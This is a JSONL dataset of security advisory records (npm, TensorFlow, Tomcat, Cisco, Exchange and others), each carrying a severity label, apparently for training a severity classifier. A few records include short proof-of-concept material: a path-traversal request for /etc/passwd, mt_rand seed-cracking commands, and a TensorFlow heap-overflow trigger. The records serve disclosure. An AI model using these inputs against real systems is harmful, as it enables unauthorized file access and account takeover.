-{"id": "f169e4a76da9b59d18ab", "text": "Command Injection in tree-kill\n\nVersions of `tree-kill` prior to 1.2.2 are vulnerable to Command Injection. The package fails to sanitize values passed to the  `kill` function. If this value is user-controlled it  may allow attackers to run arbitrary commands in the server. The issue only affects Windows systems.\n\n## Recommendation\n\nUpgrade to version 1.2.2 or later.", "text_raw": "Command Injection in tree-kill\n\n[Severity: HIGH]\n\nVersions of `tree-kill` prior to 1.2.2 are vulnerable to Command Injection. The package fails to sanitize values passed to the  `kill` function. If this value is user-controlled it  may allow attackers to run arbitrary commands in the server. The issue only affects Windows systems.\n\n\n## Recommendation\n\nUpgrade to version 1.2.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "a2b4e10f86e36afb2053", "text": "In Apache Tomcat, when using FORM authentication there was a narrow window where an attacker could perform a session fixation attack\n\nWhen using FORM authentication with Apache Tomcat 9.0.0.M1 to 9.0.29, 8.5.0 to 8.5.49 and 7.0.0 to 7.0.98 there was a narrow window where an attacker could perform a session fixation attack. The window was considered too narrow for an exploit to be practical but, erring on the side of caution, this issue has been treated as a security vulnerability.", "text_raw": "In Apache Tomcat, when using FORM authentication there was a narrow window where an attacker could perform a session fixation attack\n\n[Severity: HIGH]\n\nWhen using FORM authentication with Apache Tomcat 9.0.0.M1 to 9.0.29, 8.5.0 to 8.5.49 and 7.0.0 to 7.0.98 there was a narrow window where an attacker could perform a session fixation attack. The window was considered too narrow for an exploit to be practical but, erring on the side of caution, this issue has been treated as a security vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-26", "split": "train"}
-{"id": "19789f2c6db4c944ea17", "text": "Regular Expression Denial of Service (ReDoS) in lodash\n\nlodash prior to 4.7.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date handler. The attack vector is: Attacker provides very long strings, which the library attempts to match using a regular expression. The fixed version is: 4.7.11.", "text_raw": "Regular Expression Denial of Service (ReDoS) in lodash\n\n[Severity: MEDIUM]\n\nlodash prior to 4.7.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date handler. The attack vector is: Attacker provides very long strings, which the library attempts to match using a regular expression. The fixed version is: 4.7.11.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-19", "split": "train"}
-{"id": "c3920ea024ca0f2df2c0", "text": "Cimetrics BACstac Routing Service 6.2f Local Privilege Escalation", "text_raw": "Cimetrics BACstac Routing Service 6.2f Local Privilege Escalation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-02-12", "split": "train"}
-{"id": "67c23f7af8861e6df703", "text": "Heap buffer overflow in `Transpose`\n\n### Impact\nThe [shape inference function for `Transpose`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc#L121-L185) is vulnerable to a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n@tf.function\ndef test():\n  y = tf.raw_ops.Transpose(x=[1,2,3,4],perm=[-10])\n  return y\n\ntest()\n```\n\nThis occurs whenever `perm` contains negative elements. The shape inference function does not validate that the indices in `perm` are all valid:\n\n```cc\nfor (int32_t i = 0; i < rank; ++i) {\n  int64_t in_idx = data[i];\n  if (in_idx >= rank) {\n    return errors::InvalidArgument(\"perm dim \", in_idx,\n                                   \" is out of range of input rank \", rank);\n  }\n  dims[i] = c->Dim(input, in_idx);\n}\n```\n\nwhere `Dim(tensor, index)` accepts either a positive index less than the rank of the tensor or the special value `-1` for unknown dimensions.\n\n### Patches\nWe have patched the issue in GitHub commit [c79ba87153ee343401dbe9d1954d7f79e521eb14](https://github.com/tensorflow/tensorflow/commit/c79ba87153ee343401dbe9d1954d7f79e521eb14).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap buffer overflow in `Transpose`\n\n[Severity: MEDIUM]\n\n### Impact\nThe [shape inference function for `Transpose`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc#L121-L185) is vulnerable to a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n@tf.function\ndef test():\n  y = tf.raw_ops.Transpose(x=[1,2,3,4],perm=[-10])\n  return y\n\ntest()\n```\n\nThis occurs whenever `perm` contains negative elements. The shape inference function does not validate that the indices in `perm` are all valid:\n        \n```cc\nfor (int32_t i = 0; i < rank; ++i) {\n  int64_t in_idx = data[i];\n  if (in_idx >= rank) {\n    return errors::InvalidArgument(\"perm dim \", in_idx,\n                                   \" is out of range of input rank \", rank);\n  }\n  dims[i] = c->Dim(input, in_idx);\n}\n```\n\nwhere `Dim(tensor, index)` accepts either a positive index less than the rank of the tensor or the special value `-1` for unknown dimensions.\n\n### Patches\nWe have patched the issue in GitHub commit [c79ba87153ee343401dbe9d1954d7f79e521eb14](https://github.com/tensorflow/tensorflow/commit/c79ba87153ee343401dbe9d1954d7f79e521eb14).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "5a1911e8c2f1c01fdd50", "text": "Multiple vulnerabilities through filename manipulation in Archive_Tar\n\nArchive_Tar through 1.4.10 has `://` filename sanitization only to address phar attacks, and thus any other stream-wrapper attack (such as `file://` to overwrite files) can still succeed. See: https://github.com/pear/Archive_Tar/issues/33", "text_raw": "Multiple vulnerabilities through filename manipulation in Archive_Tar\n\n[Severity: HIGH]\n\nArchive_Tar through 1.4.10 has `://` filename sanitization only to address phar attacks, and thus any other stream-wrapper attack (such as `file://` to overwrite files) can still succeed. See: https://github.com/pear/Archive_Tar/issues/33", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "ff19a01c2318128320cf", "text": "Use of a Broken or Risky Cryptographic Algorithm\n\n## ✍️ Description\nThe function mt_rand is used to generate session tokens, this function is cryptographically flawed due to its nature being one pseudorandomness, an attacker can take advantage of the cryptographically insecure nature of this function to enumerate session tokens for accounts that are not under his/her control\n\n## 🕵️‍♂️ Proof of Concept\nNumerous examples and attack implementations can be found in this paper . If you're looking for a practical tool that can crack your mt_rand implementation's seed value, see this project and run the following commands in a console with php5 and OpenWall's tool installed:\n\n`root$ php -r 'mt_srand(13333337); echo mt_rand( ), \"\\n\";'`\nAfter that, copy the output (1863134308) and execute the following commands:\n\n`root$ gcc php_mt_seed.c -o php_mt_seedroot$ ./php_mt_seed 1863134308`\nAfter waiting ~1 minute you should have a few possible seeds corresponding to their PHP versions, next to your installed PHP version you should see something akin to:\n\nseed = 0x00cb7359 = 13333337 (PHP 7.1.0+)\nHey, that's your seed!\n\n## 💥 Impact\nAn attacker could takeover accounts at random by enumerating and using access tokens.\n\n## 📝 References\n\n- https://openwall.com/php_mt_seedhttps://crypto.di.uoa.gr/CRYPTO.SEC/Randomness_Attacks_files/paper.pdf\n- https://github.com/mautic/mautic/blob/5213e320b4ef4d0c51bb84c1d46a1071e8e4f7fc/app/bundles/PointBundle/Controller/TriggerController.php#L187\n- https://github.com/mautic/mautic/releases/tag/3.3.4\n- https://github.com/mautic/mautic/releases/tag/4.0.0", "text_raw": "Use of a Broken or Risky Cryptographic Algorithm\n\n[Severity: LOW]\n\n## ✍️ Description\nThe function mt_rand is used to generate session tokens, this function is cryptographically flawed due to its nature being one pseudorandomness, an attacker can take advantage of the cryptographically insecure nature of this function to enumerate session tokens for accounts that are not under his/her control\n\n## 🕵️‍♂️ Proof of Concept\nNumerous examples and attack implementations can be found in this paper . If you're looking for a practical tool that can crack your mt_rand implementation's seed value, see this project and run the following commands in a console with php5 and OpenWall's tool installed:\n\n`root$ php -r 'mt_srand(13333337); echo mt_rand( ), \"\\n\";'`\nAfter that, copy the output (1863134308) and execute the following commands:\n\n`root$ gcc php_mt_seed.c -o php_mt_seedroot$ ./php_mt_seed 1863134308`\nAfter waiting ~1 minute you should have a few possible seeds corresponding to their PHP versions, next to your installed PHP version you should see something akin to:\n\nseed = 0x00cb7359 = 13333337 (PHP 7.1.0+)\nHey, that's your seed!\n\n## 💥 Impact\nAn attacker could takeover accounts at random by enumerating and using access tokens.\n\n## 📝 References\n\n- https://openwall.com/php_mt_seedhttps://crypto.di.uoa.gr/CRYPTO.SEC/Randomness_Attacks_files/paper.pdf\n- https://github.com/mautic/mautic/blob/5213e320b4ef4d0c51bb84c1d46a1071e8e4f7fc/app/bundles/PointBundle/Controller/TriggerController.php#L187\n- https://github.com/mautic/mautic/releases/tag/3.3.4\n- https://github.com/mautic/mautic/releases/tag/4.0.0", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "fac8eec14cefe2ac0f9e", "text": "delayed_job_web Cross-site Scripting vulnerability\n\nAn exploitable cross site scripting (XSS) vulnerability exists in the filter functionality of the delayed_job_web rails gem versions 1.2.9 before 1.4.2. A specially crafted URL can cause an XSS flaw resulting in an attacker being able to execute arbitrary javascript on the victim's browser. An attacker can phish an authenticated user to trigger this vulnerability.", "text_raw": "delayed_job_web Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nAn exploitable cross site scripting (XSS) vulnerability exists in the filter functionality of the delayed_job_web rails gem versions 1.2.9 before 1.4.2. A specially crafted URL can cause an XSS flaw resulting in an attacker being able to execute arbitrary javascript on the victim's browser. An attacker can phish an authenticated user to trigger this vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-03-05", "split": "train"}
-{"id": "ee7c2f7045cf4147451b", "text": "Yahei-PHP Prober v0.4.7 (speed) Remote HTML Injection Vulnerability", "text_raw": "Yahei-PHP Prober v0.4.7 (speed) Remote HTML Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-07-24", "split": "train"}
-{"id": "e5ebc8f541cdc09fac4f", "text": "Insufficient Session Expiration in OpenStack Keystone\n\nAn issue was discovered in OpenStack Keystone before 15.0.1, and 16.0.0. The list of roles provided for an OAuth1 access token is silently ignored. Thus, when an access token is used to request a keystone token, the keystone token contains every role assignment the creator had for the project. This results in the provided keystone token having more role assignments than the creator intended, possibly giving unintended escalated access.", "text_raw": "Insufficient Session Expiration in OpenStack Keystone\n\n[Severity: HIGH]\n\nAn issue was discovered in OpenStack Keystone before 15.0.1, and 16.0.0. The list of roles provided for an OAuth1 access token is silently ignored. Thus, when an access token is used to request a keystone token, the keystone token contains every role assignment the creator had for the project. This results in the provided keystone token having more role assignments than the creator intended, possibly giving unintended escalated access.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-09", "split": "train"}
-{"id": "a32066d9970e600ebbb1", "text": "Any logged in user could edit any other logged in user.\n\n### Impact\nEveryone who is running a12n-server.\n\nA new HAL-Form was added to allow editing users. This feature should only have been accessible to admins. Unfortunately, privileges were incorrectly checked allowing any logged in user to make this change.\n\n### Patches\nPatched in v0.18.2", "text_raw": "Any logged in user could edit any other logged in user.\n\n[Severity: HIGH]\n\n### Impact\nEveryone who is running a12n-server. \n\nA new HAL-Form was added to allow editing users. This feature should only have been accessible to admins. Unfortunately, privileges were incorrectly checked allowing any logged in user to make this change.\n\n### Patches\nPatched in v0.18.2", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "fd3ef58e04d1526a1dd9", "text": "Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities", "text_raw": "Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-09-17", "split": "train"}
-{"id": "6c3f92293adc275b8692", "text": "Path Traversal within joomla/archive zip class\n\nAn issue was discovered in Joomla! 3.0.0 through 3.9.24. Extracting an specifilcy crafted zip package could write files outside of the intended path.", "text_raw": "Path Traversal within joomla/archive zip class\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Joomla! 3.0.0 through 3.9.24. Extracting an specifilcy crafted zip package could write files outside of the intended path.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-24", "split": "train"}
-{"id": "b2b868bd876f4e6e7dfa", "text": "Cisco HyperFlex HX Data Platform Command Injection Vulnerability\n\nAffected: Cisco HyperFlex HX\n\nCisco HyperFlex HX Installer Virtual Machine contains an insufficient input validation vulnerability which could allow an attacker to execute commands on an affected device as the tomcat8 user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Cisco HyperFlex HX Data Platform Command Injection Vulnerability\n\nAffected: Cisco HyperFlex HX\n\nCisco HyperFlex HX Installer Virtual Machine contains an insufficient input validation vulnerability which could allow an attacker to execute commands on an affected device as the tomcat8 user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "a078a3969891d914757d", "text": "Pupper does not properly restrict characters in Common Name field of Certificate Signing Request\n\n`lib/puppet/ssl/certificate_authority.rb` in Puppet before 2.6.17 and 2.7.x before 2.7.18, and Puppet Enterprise before 2.5.2, does not properly restrict the characters in the Common Name field of a Certificate Signing Request (CSR), which makes it easier for user-assisted remote attackers to trick administrators into signing a crafted agent certificate via ANSI control sequences.", "text_raw": "Pupper does not properly restrict characters in Common Name field of Certificate Signing Request\n\n[Severity: MEDIUM]\n\n`lib/puppet/ssl/certificate_authority.rb` in Puppet before 2.6.17 and 2.7.x before 2.7.18, and Puppet Enterprise before 2.5.2, does not properly restrict the characters in the Common Name field of a Certificate Signing Request (CSR), which makes it easier for user-assisted remote attackers to trick administrators into signing a crafted agent certificate via ANSI control sequences.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "fec2040101633a6e09da", "text": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-918\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-918\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "cc3db65e108ad23b83c7", "text": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains a privilege escalation vulnerability when the Windows kernel-mode driver fails to properly handle objects in memory. Successful exploitation allows an attacker to execute code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains a privilege escalation vulnerability when the Windows kernel-mode driver fails to properly handle objects in memory. Successful exploitation allows an attacker to execute code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "c71996e6467d210c6978", "text": "Path traversal in org.springframework.integration:spring-integration-zip\n\nSpring-integration-zip versions prior to 1.0.1 exposes an arbitrary file write vulnerability, which can be achieved using a specially crafted zip archive (affects other archives as well, bzip2, tar, xz, war, cpio, 7z) that holds path traversal filenames. So when the filename gets concatenated to the target extraction directory, the final path ends up outside of the target folder.", "text_raw": "Path traversal in org.springframework.integration:spring-integration-zip\n\n[Severity: MEDIUM]\n\nSpring-integration-zip versions prior to 1.0.1 exposes an arbitrary file write vulnerability, which can be achieved using a specially crafted zip archive (affects other archives as well, bzip2, tar, xz, war, cpio, 7z) that holds path traversal filenames. So when the filename gets concatenated to the target extraction directory, the final path ends up outside of the target folder.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "b9ba70a21bcbb4124389", "text": "Prototype Pollution in merge-change\n\nAll current versions of package merge-change are vulnerable to Prototype Pollution via the utils.set function.", "text_raw": "Prototype Pollution in merge-change\n\n[Severity: CRITICAL]\n\nAll current versions of package merge-change are vulnerable to Prototype Pollution via the utils.set function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "fa5baa473a5f16f49eb2", "text": "Remote Code Execution in node-os-utils\n\nVersions of `node-os-utils` prior to 1.1.0 are vulnerable to Remote Code Execution. Due to insufficient input validation an attacker could run arbitrary commands on the server thus rendering the package vulnerable to Remote Code Execution.\n\n## Recommendation\n\nUpgrade to version 1.1.0 or later.", "text_raw": "Remote Code Execution in node-os-utils\n\n[Severity: HIGH]\n\nVersions of `node-os-utils` prior to 1.1.0 are vulnerable to Remote Code Execution. Due to insufficient input validation an attacker could run arbitrary commands on the server thus rendering the package vulnerable to Remote Code Execution.\n\n\n## Recommendation\n\nUpgrade to version 1.1.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-11", "split": "train"}
-{"id": "bec924c5a65c9af4445f", "text": "Denial of Service in axios\n\nVersions of `axios` prior to 0.18.1 are vulnerable to Denial of Service. If a request exceeds the `maxContentLength` property, the package prints an error but does not stop the request. This may cause high CPU usage and lead to Denial of Service.\n\n## Recommendation\n\nUpgrade to 0.18.1 or later.", "text_raw": "Denial of Service in axios\n\n[Severity: HIGH]\n\nVersions of `axios` prior to 0.18.1 are vulnerable to Denial of Service. If a request exceeds the `maxContentLength` property, the package prints an error but does not stop the request. This may cause high CPU usage and lead to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to 0.18.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "d8b1b1e2c5d04d3e5f3c", "text": "PHP file inclusion via insert tags\n\n### Impact\n\nIt is possible for untrusted users to load arbitrary PHP files via insert tags.\n\nInstallations are only affected if there are untrusted back end users.\n\n### Patches\n\nUpdate to Contao 4.4.56, 4.9.18 or 4.11.7.\n\n### Workarounds\n\nDisable the login for untrusted back end users.\n\n### References\n\nhttps://contao.org/en/security-advisories/php-file-inclusion-via-insert-tags\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).", "text_raw": "PHP file inclusion via insert tags\n\n[Severity: MEDIUM]\n\n### Impact\n\nIt is possible for untrusted users to load arbitrary PHP files via insert tags.\n\nInstallations are only affected if there are untrusted back end users.\n\n### Patches\n\nUpdate to Contao 4.4.56, 4.9.18 or 4.11.7.\n\n### Workarounds\n\nDisable the login for untrusted back end users.\n\n### References\n\nhttps://contao.org/en/security-advisories/php-file-inclusion-via-insert-tags\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "b70efe26ca0ba562e39b", "text": "Open Redirect in ecstatic\n\nVersions of `ecstatic` prior to 4.1.2, 3.3.2 or 2.2.2 are vulnerable to Open Redirect. The package fails to validate redirects, allowing attackers to craft requests that result in an `HTTP 301` redirect to any other domains.\n\n## Recommendation\n\nIf using `ecstatic` 4.x, upgrade to 4.1.2 or later.\nIf using `ecstatic` 3.x, upgrade to 3.3.2 or later.\nIf using `ecstatic` 2.x, upgrade to 2.2.2 or later.", "text_raw": "Open Redirect in ecstatic\n\n[Severity: HIGH]\n\nVersions of `ecstatic` prior to 4.1.2, 3.3.2 or 2.2.2 are vulnerable to Open Redirect. The package fails to validate redirects, allowing attackers to craft requests that result in an `HTTP 301` redirect to any other domains.\n\n\n## Recommendation\n\nIf using `ecstatic` 4.x, upgrade to 4.1.2 or later.\nIf using `ecstatic` 3.x, upgrade to 3.3.2 or later.\nIf using `ecstatic` 2.x, upgrade to 2.2.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-01", "split": "train"}
-{"id": "f2af2d5c8224a1a2c988", "text": "Files or Directories Accessible to External Parties in kubernetes\n\nA security issue was discovered in Kubernetes where a user may be able to create a container with subpath volume mounts to access files & directories outside of the volume, including on the host filesystem.", "text_raw": "Files or Directories Accessible to External Parties in kubernetes\n\n[Severity: HIGH]\n\nA security issue was discovered in Kubernetes where a user may be able to create a container with subpath volume mounts to access files & directories outside of the volume, including on the host filesystem.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-01", "split": "train"}
-{"id": "a9b931f47a0b089b42da", "text": "jQuery-UI vulnerable to Cross-site Scripting in dialog closeText\n\nAffected versions of `jquery-ui` are vulnerable to a cross-site scripting vulnerability when arbitrary user input is supplied as the value of the `closeText` parameter in the `dialog` function.\n\njQuery-UI is a library for manipulating UI elements via jQuery.\n\nVersion 1.11.4 has a cross site scripting (XSS) vulnerability in the `closeText` parameter of the `dialog`  function.  If your application passes user input to this parameter, it may be vulnerable to XSS via this attack vector.\n\n## Recommendation\n\nUpgrade to jQuery-UI 1.12.0 or later.", "text_raw": "jQuery-UI vulnerable to Cross-site Scripting in dialog closeText\n\n[Severity: MEDIUM]\n\nAffected versions of `jquery-ui` are vulnerable to a cross-site scripting vulnerability when arbitrary user input is supplied as the value of the `closeText` parameter in the `dialog` function. \n\njQuery-UI is a library for manipulating UI elements via jQuery.\n\nVersion 1.11.4 has a cross site scripting (XSS) vulnerability in the `closeText` parameter of the `dialog`  function.  If your application passes user input to this parameter, it may be vulnerable to XSS via this attack vector.\n\n\n## Recommendation\n\nUpgrade to jQuery-UI 1.12.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "39930667e3acd2bf11e8", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Default Credentials", "text_raw": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Default Credentials\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2018-07-17", "split": "train"}
-{"id": "4ef96b109d9b0b15f2ab", "text": "Aescrypt does not sufficiently use random values\n\nThe aescrypt gem 1.0.0 for Ruby does not randomize the CBC IV for use with the AESCrypt.encrypt and AESCrypt.decrypt functions, which allows attackers to defeat cryptographic protection mechanisms via a chosen plaintext attack.", "text_raw": "Aescrypt does not sufficiently use random values\n\n[Severity: HIGH]\n\nThe aescrypt gem 1.0.0 for Ruby does not randomize the CBC IV for use with the AESCrypt.encrypt and AESCrypt.decrypt functions, which allows attackers to defeat cryptographic protection mechanisms via a chosen plaintext attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "6530e71c182dc0d029d2", "text": "Denial of Service in Go-Ethereum\n\nGo-Ethereum 1.10.9 nodes crash (denial of service) after receiving a serial of messages and cannot be recovered. They will crash with \"runtime error: invalid memory address or nil pointer dereference\" and arise a SEGV signal.", "text_raw": "Denial of Service in Go-Ethereum\n\n[Severity: MEDIUM]\n\nGo-Ethereum 1.10.9 nodes crash (denial of service) after receiving a serial of messages and cannot be recovered. They will crash with \"runtime error: invalid memory address or nil pointer dereference\" and arise a SEGV signal.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "bbd2012d211af9d325e8", "text": "Cross-site Scripting in peertube\n\npeertube is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). It was found that one could upload a SVG image and then send the url of that to other users and when they open the link we can get their complete session keys as the session keys stored in local storage and with Javascript easily can be stolen by attackers.", "text_raw": "Cross-site Scripting in peertube\n\n[Severity: MEDIUM]\n\npeertube is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). It was found that one could upload a SVG image and then send the url of that to other users and when they open the link we can get their complete session keys as the session keys stored in local storage and with Javascript easily can be stolen by attackers.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "0b339bbb50df9cf1afa2", "text": "Directory Traversal in caolilinode\n\nAffected versions of `caolilinode` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in caolilinode\n\n[Severity: HIGH]\n\nAffected versions of `caolilinode` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "d866c6cc2ba684da79df", "text": "Cisco ASA and FTD Cross-Site Scripting (XSS) Vulnerability\n\nAffected: Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)\n\nCisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an insufficient input validation vulnerability for user-supplied input by the web services interface.  Successful exploitation could allow an attacker to perform cross-site scripting (XSS) in the context of the interface or access sensitive browser-based information.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-79\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Cisco ASA and FTD Cross-Site Scripting (XSS) Vulnerability\n\nAffected: Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)\n\nCisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an insufficient input validation vulnerability for user-supplied input by the web services interface.  Successful exploitation could allow an attacker to perform cross-site scripting (XSS) in the context of the interface or access sensitive browser-based information.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-79\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "4b20828879c628430092", "text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in querymen\n\nquerymen prior to 2.1.4 allows modification of object properties. The parameters of exported function handler(type, name, fn) can be controlled by users without any sanitization. This could be abused for Prototype Pollution attacks.", "text_raw": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in querymen\n\n[Severity: MEDIUM]\n\nquerymen prior to 2.1.4 allows modification of object properties. The parameters of exported function handler(type, name, fn) can be controlled by users without any sanitization. This could be abused for Prototype Pollution attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "e9ccb3a47aaf68a1d134", "text": "Kemana Directory 1.5.6 (qvc_init()) Cookie Poisoning CAPTCHA Bypass Exploit", "text_raw": "Kemana Directory 1.5.6 (qvc_init()) Cookie Poisoning CAPTCHA Bypass Exploit\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2014-03-25", "split": "train"}
-{"id": "22110bdb7fd04a4e1574", "text": "Withdrawn, accidental duplicate publish.\n\nDirectory traversal vulnerability in actionpack/lib/abstract_controller/base.rb in the implicit-render implementation in Ruby on Rails before 3.2.18, 4.0.x before 4.0.5, and 4.1.x before 4.1.1, when certain route globbing configurations are enabled, allows remote attackers to read arbitrary files via a crafted request.", "text_raw": "Moderate severity vulnerability that affects actionpack\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nDirectory traversal vulnerability in actionpack/lib/abstract_controller/base.rb in the implicit-render implementation in Ruby on Rails before 3.2.18, 4.0.x before 4.0.5, and 4.1.x before 4.1.1, when certain route globbing configurations are enabled, allows remote attackers to read arbitrary files via a crafted request.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
